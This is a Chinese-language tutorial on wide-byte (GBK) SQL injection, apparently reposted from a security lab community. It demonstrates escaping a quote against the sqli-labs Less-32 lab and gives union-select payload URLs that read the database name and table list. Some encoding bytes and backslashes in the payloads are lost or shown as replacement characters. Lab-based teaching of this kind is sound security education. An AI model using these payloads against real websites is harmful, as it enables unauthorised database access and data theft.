文章源自【字节脉搏社区】-字节脉搏实验室
作者-墨子辰
宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
宽字节注入是利用msql的一个特性,mysql在使用GBK编码的时候,会认为俩个字符是一个汉字GBK编码,它的编码范围是0×8140~0xFEFE(不包括xx7F),在遇到�(ascii(223)) >ascii(128)时自动拼接,因此吃掉‘’,而'、 小于ascii(128)的字符就保留了。通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254)当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。
gbk 两个字节 gb2312两个字节 utg-8 三个字节
https://the-x.cn/UrlDecode.aspx 在线解码编码(百度就能找到)
' 编码为:'
�' 解码为:猏'
这样就能够把 ' 逃逸出来
我们以 sqli-labs靶机试试(如需下载按照,请自行百度)
http://localhost/sqli-labs-master/Less-32/?id=1'
可以看见'前面加了,如果是在实战中,这不会有显示。所有,我们在探测sql的时候,如果加上单引号没反应,我们不妨试试�'
http://localhost/sqli-labs-master/Less-32/?id=1�'
http://localhost/sqli-labs-master/Less-32/?id=1�' order by 3#
多次测试,得到字段数目为3
http://localhost/sqli-labs-master/Less-32/?id=1�' union select 1,2,3#
http://localhost/sqli-labs-master/Less-32/?id=1�' union select 1,2,database()#
执行上述url如果没有反应,这时候我们应该考虑注入一个不存在的id(负数)
http://localhost/sqli-labs-master/Less-32/?id=-1�' union select 1,database(),3#
http://localhost/sqli-labs-master/Less-32/?id=-1�' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
group_concat(table_name) 列出所有列表名称
如果不使用group_concat(table_name)只能列出单个表名
后面就是查看表里面的东西了。
如果有兴趣,推荐去南邮CTF里面做一做 GBK Injection